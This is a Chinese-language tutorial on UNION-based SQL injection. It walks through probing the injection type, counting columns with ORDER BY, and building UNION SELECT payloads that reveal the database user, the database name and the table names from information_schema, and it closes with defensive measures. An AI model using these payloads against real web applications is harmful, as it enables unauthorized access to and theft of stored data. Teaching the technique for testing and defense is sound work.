SQL注入系列篇之union联合注入
字数 809 2025-08-11 01:06:30
SQL注入系列:Union联合注入详解
一、Union注入概念
Union注入是一种基于SQL语句UNION操作符的注入技术。在SQL中,UNION用于合并两个或多个SELECT语句的结果集,前提是这些SELECT语句必须拥有相同数量的列。
基本语法示例:
SELECT 1,2,3 FROM table_name1 UNION SELECT 4,5,6 FROM table_name2;
在注入过程中,我们把UNION SELECT 4,5,6 FROM table_name2部分称为union注入部分,其关键特点是:
- 通过UNION与前面的SQL语句拼接
- 构造的列数必须与前面的SQL语句列数相同
- 可以执行任意SQL查询并获取结果
二、Union注入利用流程
1. 判断注入点类型
首先需要确定注入点的类型(数字型或字符型):
-
数字型注入测试:
3-2 1 AND 1=1 -
字符型注入测试:
1" AND "1"="1 1' AND '1'='1
通过观察回显可以确定注入类型。例如:
1' AND '1'='1 -- 正常返回
1' AND '1'='2 -- 异常返回
这表明存在单引号字符型注入。
2. 判断SQL语句的列数
使用ORDER BY子句确定原始查询的列数:
1' ORDER BY 5# -- 尝试5列
1' ORDER BY 3# -- 尝试3列
1' ORDER BY 2# -- 尝试2列
当ORDER BY n不再报错时,n即为原始查询的列数。
3. 实施Union注入
构造Union注入语句的基本格式:
1' UNION SELECT 1,2#
其中:
1'部分与原始SQL的单引号拼接UNION连接原始查询SELECT 1,2是攻击者可控部分,列数必须匹配#注释掉原始SQL的剩余部分
进阶利用:
获取数据库用户和名称:
1' UNION SELECT user(),database()#
获取所有表名:
1' UNION SELECT group_concat(table_name),database() FROM information_schema.tables WHERE table_schema=database()#
获取表数据:
1' UNION SELECT column1,column2 FROM table_name#
三、后台SQL分析
假设原始SQL为:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
当输入1' UNION SELECT 1,2#时,实际执行的SQL变为:
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT 1,2#'
四、防御措施
- 使用参数化查询(预编译语句)
- 实施输入验证和过滤
- 最小权限原则,限制数据库用户权限
- 使用Web应用防火墙(WAF)
- 错误信息处理,避免泄露敏感信息
五、总结
Union注入是一种高效的SQL注入技术,通过:
- 确定注入点类型
- 探测列数
- 构造匹配列数的UNION查询
- 逐步获取数据库信息
防御的关键在于避免SQL语句的拼接,使用安全的数据库访问方式。